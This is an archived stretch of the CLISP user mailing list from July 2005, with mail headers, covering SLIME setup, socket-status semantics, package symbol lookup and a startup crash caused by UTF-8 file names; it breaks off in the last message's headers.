Campbell wrote: > On 7/26/05, Sam Steingold wrote: > > > * Michael Campbell [2005-07-25 23:53:31 = -0400]: > > > > > > > > > (setq inferior-lisp-program "d:/clisp-2.33.2/base/lisp.exe -B > > > D:/clisp-2.33.2/ -M D:/clisp-2.33.2/base/lispinit.mem") > > > > please install 2.34 and use the clisp.exe driver: > > > > (setq inferior-lisp-program "d:/clisp-2.34/clisp.exe") >:-\ Well, I did that, and now Bill Clementson's instructions *DON'T* work anymore. Nor do the generic setup instructions. Both methods yield the following: FUNCALL: undefined function NIL [Condition of type SYSTEM::SIMPLE-UNDEFINED-FUNCTION] Restarts: 0: [USE-VALUE] You may input a value to be used instead of (FDEFINITION '= NIL). 1: [RETRY] Retry 2: [STORE-VALUE] You may input a new value for (FDEFINITION 'NIL). 3: [ABORT] Abort handling SLIME request. 4: [ABORT] ABORT Backtrace: 0: frame binding variables (~ =3D dynamically): | ~ SYSTEM::*FASOUTPUT-STREAM* <--> NIL 1: EVAL frame for form (SWANK:CONNECTION-INFO) 2: EVAL frame for form (SWANK:START-SERVER "c:/tmp/slime.3552" :EXTERNAL-FORMAT :ISO-LATIN-1-UNIX) --more-- --=20 I tend to view "truly flexible" by another term: "Make everything equally hard". -- DHH From Joerg-Cyril.Hoehle@t-systems.com Tue Jul 26 08:00:41 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DxQvB-00077q-CH for clisp-list@lists.sourceforge.net; Tue, 26 Jul 2005 08:00:41 -0700 Received: from tcmail31.telekom.de ([217.6.95.238]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1DxQvA-00067q-1j for clisp-list@lists.sourceforge.net; Tue, 26 Jul 2005 08:00:41 -0700 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Tue, 26 Jul 2005 17:00:45 +0200 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 26 Jul 2005 17:00:26 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A030529883D@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: michael.campbell@gmail.com Subject: [clisp-list] Re: Dose slime really support clisp ? MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.1 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jul 26 08:01:07 2005 X-Original-Date: Tue, 26 Jul 2005 17:00:25 +0200 >> (setq inferior-lisp-program "d:/clisp-2.33.2/base/lisp.exe -B >> D:/clisp-2.33.2/ -M D:/clisp-2.33.2/base/lispinit.mem") >please install 2.34 and use the clisp.exe driver: >(setq inferior-lisp-program "d:/clisp-2.34/clisp.exe") Then you will not be able to interrupt a running job with ^C (M-x slime-interrupt, comint-interrupt-subjob etc.)! I reported to the slime-devel on 7th of July Subject: "[slime-devel] Re: It's not just me!" that Emacs with MS-Windows only manages to interrupt the process given by pid if it started it itself directly (like lisp.exe), not when its start was delegated (via clisp.exe starting lisp.exe). -- At least with my Emacs-20.7, which is not the most recent one. UNIX has tail-call optimization -- this is what exec() gives you. Many others systems do not. Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Tue Jul 26 08:38:10 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DxRVP-0000Qh-SY for clisp-list@lists.sourceforge.net; Tue, 26 Jul 2005 08:38:07 -0700 Received: from tcmail31.telekom.de ([217.6.95.238]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1DxRVO-0003dJ-Ez for clisp-list@lists.sourceforge.net; Tue, 26 Jul 2005 08:38:08 -0700 Received: from S4DE8PSAANQ.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Tue, 26 Jul 2005 17:38:09 +0200 Received: by S4DE8PSAANQ.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 26 Jul 2005 17:37:50 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0305298854@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] idiom for finding symbols in modern packages Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jul 26 08:39:03 2005 X-Original-Date: Tue, 26 Jul 2005 17:37:50 +0200 Hi, what's the proposed idiom to work around the "modern" package behaviour that it implies CASE-INVERTED-ness? (find-symbol "GetCurrentProcessId" "WIN32") always returns NIL. I think 'd shoot at somebody writing (find-symbol "gETcURRENTpROCESSiD" :win32) because that's completely misses the original point modern mode wants to address, which was to be able to refer to symbols using the same capitalization as within other programming languages. Note that a literal 'win32:GetCurrent... symbol in source code is not suitable, because the package does not exist on some user's machines, so there could be a reader error at load or compile time. Is there anything better than ... (and (find-package "WIN32") (read-from-string "WIN32:GetCurrentProcessId")) ?? Thanks for your help, Jorg Hohle. From sds@gnu.org Tue Jul 26 08:58:57 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DxRpY-0001ky-Ks for clisp-list@lists.sourceforge.net; Tue, 26 Jul 2005 08:58:56 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1DxRpV-00011R-I7 for clisp-list@lists.sourceforge.net; Tue, 26 Jul 2005 08:58:56 -0700 Received: from WINSTEINGOLDLAP ([10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j6QFwVtD011400; Tue, 26 Jul 2005 11:58:31 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Ashwin Rao Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Ashwin Rao's message of "Tue, 26 Jul 2005 19:35:12 +0530") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Ashwin Rao Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: socket programming related query Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jul 26 08:59:05 2005 X-Original-Date: Tue, 26 Jul 2005 11:57:51 -0400 > * Ashwin Rao [2005-07-26 19:35:12 +0500]: > > I have 2 open sockets in my list of sockets given to the socket-status > function. One of them is the socket-server type (which accepts new > connections) and other of socket-stream type. I am not sure I quite understand your setup... e.g.: [38]> (setq stream (socket-connect 21 "ftp.gnu.org")) # [39]> (setq server (socket-server)) # [40]> (socket-status (list stream server)) (:IO NIL) ; i.e., STREAM can be written to and read from, ; but no connections are available on SERVER 1 [41]> (loop :while (listen stream) :do (print (read-line stream))) ;; flush everything from STREAM "220 GNU FTP server ready." NIL [42]> (socket-status (list stream server)) (:OUTPUT NIL) ; now you can only write to STREAM, not read from it 1 [43]> (listen stream) ;; confirm - nothing to be read from STREAM NIL ;; now do "telnet locahost 1550": [44]> (socket-status (list stream server)) (:IO T) ; now SERVER has something to accept - but STREAM has something too! 2 [45]> (listen stream) ;; confirm T [46]> (loop :while (listen stream) :do (print (read-line stream))) "421 Timeout." ;; oops... NIL > When data is sent from the client connected to the server the > operation related to the socket-stream socket comes as OUTPUT, Why is > this so , also what does INPUT and OUTPUT signify? > On doing a read-line (the client sends formatted data terminated by > ~%") the data is obtained. > But why am I getting the operation as OUTPUT? > Also as read-line is a blocking call new connections are delayed (most > of the times they are not created) as after reading the control comes > to the read-line and waits there till data is sent from another side. > > function for reading the data on the socket is as follows > > (defun handle-raw-data-on (sock-fd operation) > (format t "operation ~a" operation) > (if (eql operation :output) > (progn (if a (progn b c d)) is better written as (when a b c d) > (setf raw-data (read-line sock-fd nil)) > (format t "Raw data ~a on ~a ~%" raw-data sock-fd)))) > > Please tell me where am I going wrong. If I understand you correctly, you should be getting :INPUT instead of :OUTPUT. maybe you could debug it? see src/stream.d:14272. -- Sam Steingold (http://www.podval.org/~sds) running w2k OK, so you're a Ph.D. Just don't touch anything. From beebe@math.utah.edu Tue Jul 26 09:02:12 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DxRsi-0001uc-FP for clisp-list@lists.sourceforge.net; Tue, 26 Jul 2005 09:02:12 -0700 Received: from sunshine2.math.utah.edu ([155.101.96.3] ident=[bNdp4zciL0gs0sd7p4JujKVbXMbcZE6T]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1DxRsg-0001mU-0n for clisp-list@lists.sourceforge.net; Tue, 26 Jul 2005 09:02:12 -0700 Received: from psi.math.utah.edu (IDENT:DAFBn3BxayDBYw9Kl/VKDL1QueQ60WUU@psi.math.utah.edu [155.101.96.19]) by sunshine2.math.utah.edu (8.13.4/8.13.4) with ESMTP id j6QG1pI8006067; Tue, 26 Jul 2005 10:01:51 -0600 (MDT) Received: from psi.math.utah.edu (IDENT:sJ6mOu8Eo0aStpAePEAR+ns9sqi181zb@localhost [127.0.0.1]) by psi.math.utah.edu (8.13.4/8.13.4) with ESMTP id j6QG1pSn020023; Tue, 26 Jul 2005 10:01:51 -0600 (MDT) Received: (from beebe@localhost) by psi.math.utah.edu (8.13.4/8.13.4/Submit) id j6QG1piQ020022; Tue, 26 Jul 2005 10:01:51 -0600 (MDT) From: "Nelson H. F. Beebe" To: clisp-list@lists.sourceforge.net, Sam Steingold , Bruno Haible Cc: beebe@math.utah.edu X-US-Mail: "Department of Mathematics, 110 LCB, University of Utah, 155 S 1400 E RM 233, Salt Lake City, UT 84112-0090, USA" X-Telephone: +1 801 581 5254 X-FAX: +1 801 585 1640, +1 801 581 4148 X-URL: http://www.math.utah.edu/~beebe In-Reply-To: Your message of Tue, 26 Jul 2005 09:23:26 -0400 Message-ID: X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-2.0 (sunshine2.math.utah.edu [155.101.96.3]); Tue, 26 Jul 2005 10:01:51 -0600 (MDT) X-Spam-Score: 0.4 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.2 UPPERCASE_25_50 message body is 25-50% uppercase 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: clisp-2.34 build comments Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jul 26 09:03:01 2005 X-Original-Date: Tue, 26 Jul 2005 10:01:51 -0600 (MDT) >> ... >> >> I wonder what CLISP is doing here... >> please type :bt1 here - you will get the Lisp STACK. >> maybe you could run this under GDB too? >> ... On GNU/Linux on AMD64, here is the Lisp stack: % clisp *** - invalid byte sequence #xC6 #x72 in CHARSET:UTF-8 conversion The following restarts are available: ABORT :R1 ABORT Break 1 [2]> :bti :BTI Break 1 [2]> :bt1 <1> # 3 <2> # <3> # <4> # <5> # 2 <6> # <7> # 2 <8> # <9> # - # - NIL <10> # - # <11> # 1 frame binding variables (~ = dynamically): | ~ SYSTEM::*PRIN-STREAM* <--> # frame binding variables (~ = dynamically): | ~ *PRINT-READABLY* <--> NIL frame binding variables (~ = dynamically): | ~ *PRINT-ESCAPE* <--> T - # - "/u/sy/beebe/" - #P"/u/sy/beebe/" - NIL - NIL - #S(HASH-TABLE :TEST FASTHASH-EQUAL ((21 . 114048) . T)) - NIL - (#P"/u/sy/beebe/") - NIL - ".clisprc.*" - #P"/u/sy/beebe/.clisprc.*" - NIL - #P"/u/sy/beebe/.clisprc.*" <12> # - #P"/u/sy/beebe/.clisprc.*" - #P"" - (#P"" #P"./" #P"/u/sy/beebe/lisp/**/") - NIL - T - #(NIL ("fas" "lisp" "lsp" "cl")) - # - ("fas" "lisp" "lsp" "cl") - #P"/u/sy/beebe/.clisprc.*" <13> # - # - # - #(#(NIL :DEFAULT NIL) #) - #P"/u/sy/beebe/.clisprc" - NIL - T - NIL - #(NIL :DEFAULT NIL) - # - :DEFAULT - NIL - #P"/u/sy/beebe/.clisprc" <14> # - NIL frame binding variables (~ = dynamically): | ~ *LOAD-OBSOLETE-ACTION* <--> NIL frame binding variables (~ = dynamically): | ~ *LOAD-COMPILING* <--> NIL - NIL frame binding variables (~ = dynamically): | ~ *LOAD-ECHO* <--> NIL frame binding variables (~ = dynamically): | ~ *LOAD-PRINT* <--> NIL frame binding variables (~ = dynamically): | ~ *LOAD-VERBOSE* <--> T - # - NIL - # - # - # - :DEFAULT - NIL - # Printed 14 frames From this output, I found the problem: my top-level directory had a couple of test files with UTF-8 sequences in their filenames: clisp evidently lists the directory, and then raises an error. When I moved them into another directory, clisp starts without error. I would still call this an error in clisp: if it lists a directory over which a user has no control (e.g., /tmp), then it is trivial for an adversary to create a denial-of-service attack. Unix pathnames are not strictly in any particular character encoding: they are merely byte strings in which only slash and NUL have special significance. >> ... >> > Thus, a temporary workaround to the startup problem is to use >> > -E ISO-8859-1. >> >> according to >> >> you can also set environment variable LC_ALL. >> ... That is not an acceptable solution, because it affects many other programs. In any event, I think we can call this startup problem solved, and move on to other things. ------------------------------------------------------------------------------- - Nelson H. F. Beebe Tel: +1 801 581 5254 - - University of Utah FAX: +1 801 581 4148 - - Department of Mathematics, 110 LCB Internet e-mail: beebe@math.utah.edu - - 155 S 1400 E RM 233 beebe@acm.org beebe@computer.org - - Salt Lake City, UT 84112-0090, USA URL: http://www.math.utah.edu/~beebe - ------------------------------------------------------------------------------- From sds@gnu.org Tue Jul 26 09:03:41 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DxRu8-0001yg-SR for clisp-list@lists.sourceforge.net; Tue, 26 Jul 2005 09:03:40 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1DxRu4-0002CW-MS for clisp-list@lists.sourceforge.net; Tue, 26 Jul 2005 09:03:40 -0700 Received: from WINSTEINGOLDLAP ([10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j6QG3MdZ011984; Tue, 26 Jul 2005 12:03:23 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Michael Campbell Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <811f2f1c0507260741345c3ede@mail.gmail.com> (Michael Campbell's message of "Tue, 26 Jul 2005 10:41:20 -0400") References: <004801c59183$85d577b0$6700a8c0@user03> <811f2f1c05072520537452e716@mail.gmail.com> <811f2f1c0507260741345c3ede@mail.gmail.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Michael Campbell Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Dose slime really support clisp ? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jul 26 09:04:03 2005 X-Original-Date: Tue, 26 Jul 2005 12:02:43 -0400 > * Michael Campbell [2005-07-26 10:41:20 -0400]: > > On 7/26/05, Sam Steingold wrote: >> > * Michael Campbell [2005-07-25 23:53:31 -0400]: >> > >> > >> > (setq inferior-lisp-program "d:/clisp-2.33.2/base/lisp.exe -B >> > D:/clisp-2.33.2/ -M D:/clisp-2.33.2/base/lispinit.mem") >> >> please install 2.34 and use the clisp.exe driver: >> >> (setq inferior-lisp-program "d:/clisp-2.34/clisp.exe") > > > Ok. Is there some compelling reason, or is it just to get the latest? see NEWS. > This is my first "real" exploration into lisp having done the last 20 > years or so in the Algol-based language lineage, so it's not like I > need cutting edge features or anything yet. I'm still trying to get > my head wrapped around the language, idioms, culture, etc. welcome! -- Sam Steingold (http://www.podval.org/~sds) running w2k Man has 2 states: hungry/angry and sate/sleepy. Catch him in transition. From sds@gnu.org Tue Jul 26 09:07:51 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DxRyA-0002AO-MZ for clisp-list@lists.sourceforge.net; Tue, 26 Jul 2005 09:07:50 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1DxRy9-0000cU-FC for clisp-list@lists.sourceforge.net; Tue, 26 Jul 2005 09:07:50 -0700 Received: from WINSTEINGOLDLAP ([10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j6QG7ZRe012496; Tue, 26 Jul 2005 12:07:36 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Michael Campbell Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <811f2f1c0507260757704fef7c@mail.gmail.com> (Michael Campbell's message of "Tue, 26 Jul 2005 10:57:24 -0400") References: <004801c59183$85d577b0$6700a8c0@user03> <811f2f1c05072520537452e716@mail.gmail.com> <811f2f1c0507260741345c3ede@mail.gmail.com> <811f2f1c0507260757704fef7c@mail.gmail.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Michael Campbell Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Dose slime really support clisp ? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jul 26 09:08:05 2005 X-Original-Date: Tue, 26 Jul 2005 12:06:55 -0400 > * Michael Campbell [2005-07-26 10:57:24 -0400]: > > On 7/26/05, Michael Campbell wrote: >> On 7/26/05, Sam Steingold wrote: >> > > * Michael Campbell [2005-07-25 23:53:31 -0400]: >> > > >> > > >> > > (setq inferior-lisp-program "d:/clisp-2.33.2/base/lisp.exe -B >> > > D:/clisp-2.33.2/ -M D:/clisp-2.33.2/base/lispinit.mem") >> > >> > please install 2.34 and use the clisp.exe driver: >> > >> > (setq inferior-lisp-program "d:/clisp-2.34/clisp.exe") > > >>:-\ > > > Well, I did that, and now Bill Clementson's instructions *DON'T* work > anymore. Nor do the generic setup instructions. Both methods yield > the following: > > > FUNCALL: undefined function NIL > > [Condition of type SYSTEM::SIMPLE-UNDEFINED-FUNCTION] > > Restarts: > 0: [USE-VALUE] You may input a value to be used instead of (FDEFINITION 'NIL). > 1: [RETRY] Retry > 2: [STORE-VALUE] You may input a new value for (FDEFINITION 'NIL). > 3: [ABORT] Abort handling SLIME request. > 4: [ABORT] ABORT > > Backtrace: > 0: frame binding variables (~ = dynamically): > | ~ SYSTEM::*FASOUTPUT-STREAM* <--> NIL > > 1: EVAL frame for form (SWANK:CONNECTION-INFO) > > 2: EVAL frame for form (SWANK:START-SERVER "c:/tmp/slime.3552" > :EXTERNAL-FORMAT :ISO-LATIN-1-UNIX) I guess you will have to report this to Bill &co. sorry. -- Sam Steingold (http://www.podval.org/~sds) running w2k There are no answers, only cross references. From onayu@gmx.net Tue Jul 26 13:17:05 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DxVrM-0005uW-RG for clisp-list@lists.sourceforge.net; Tue, 26 Jul 2005 13:17:04 -0700 Received: from pop.gmx.net ([213.165.64.20] helo=mail.gmx.net) by mail.sourceforge.net with smtp (Exim 4.44) id 1DxVrM-0005BB-89 for clisp-list@lists.sourceforge.net; Tue, 26 Jul 2005 13:17:04 -0700 Received: (qmail invoked by alias); 26 Jul 2005 20:16:56 -0000 Received: from dsl-084-059-155-011.arcor-ip.net (EHLO localhost) [84.59.155.11] by mail.gmx.net (mp028) with SMTP; 26 Jul 2005 22:16:56 +0200 X-Authenticated: #19339541 From: Onay Organization: Urfalioglu To: clisp-list@lists.sourceforge.net User-Agent: KMail/1.8.1 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200507262216.53258.onayu@gmx.net> X-Y-GMX-Trusted: 0 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] newbie: debugging with clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jul 26 13:18:00 2005 X-Original-Date: Tue, 26 Jul 2005 22:16:53 +0200 When having several source files in a project loaded and running a command produces an error, clisp's debugger just shows some info about the function/operation... however, often this info is by far not sufficient to find the right place to look at (where the source code causing the abort/error is) :-( is there any way to force the debugger to show more information or did i miss something? I would appreciate any other strategy for testing and debugging.... thanks From sds@gnu.org Tue Jul 26 13:55:23 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DxWSR-0007b3-G5 for clisp-list@lists.sourceforge.net; Tue, 26 Jul 2005 13:55:23 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1DxWSO-0001ru-2w for clisp-list@lists.sourceforge.net; Tue, 26 Jul 2005 13:55:23 -0700 Received: from WINSTEINGOLDLAP ([10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j6QKt7ib021802; Tue, 26 Jul 2005 16:55:08 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Onay Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200507262216.53258.onayu@gmx.net> (Onay's message of "Tue, 26 Jul 2005 22:16:53 +0200") References: <200507262216.53258.onayu@gmx.net> Mail-Followup-To: clisp-list@lists.sourceforge.net, Onay Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: newbie: debugging with clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jul 26 13:56:02 2005 X-Original-Date: Tue, 26 Jul 2005 16:54:28 -0400 > * Onay [2005-07-26 22:16:53 +0200]: > > is there any way to force the debugger to show more information or did > i miss something? -- Sam Steingold (http://www.podval.org/~sds) running w2k Lisp is a way of life. C is a way of death. From lisp-clisp-list@m.gmane.org Tue Jul 26 14:20:51 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DxWqy-0000UV-2v for clisp-list@lists.sourceforge.net; Tue, 26 Jul 2005 14:20:44 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1DxWqv-0000S5-FJ for clisp-list@lists.sourceforge.net; Tue, 26 Jul 2005 14:20:44 -0700 Received: from root by ciao.gmane.org with local (Exim 4.43) id 1DxWqe-0005ko-OZ for clisp-list@lists.sourceforge.net; Tue, 26 Jul 2005 23:20:24 +0200 Received: from 80-102-195-9.bcn1.dialup.uni2.es ([80.102.195.9]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 26 Jul 2005 23:20:24 +0200 Received: from Karsten.poeck by 80-102-195-9.bcn1.dialup.uni2.es with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 26 Jul 2005 23:20:24 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: "Karsten Poeck" Lines: 